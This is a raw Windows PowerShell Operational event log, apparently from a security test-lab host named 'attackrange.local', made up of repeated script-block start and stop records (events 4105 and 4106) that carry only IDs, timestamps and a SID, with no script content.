OpCode=On create calls
RecordNumber=2039990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039982
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039980
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039979
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039974
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039973
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039958
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039957
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039956
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039954
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039951
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039950
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039949
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039948
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
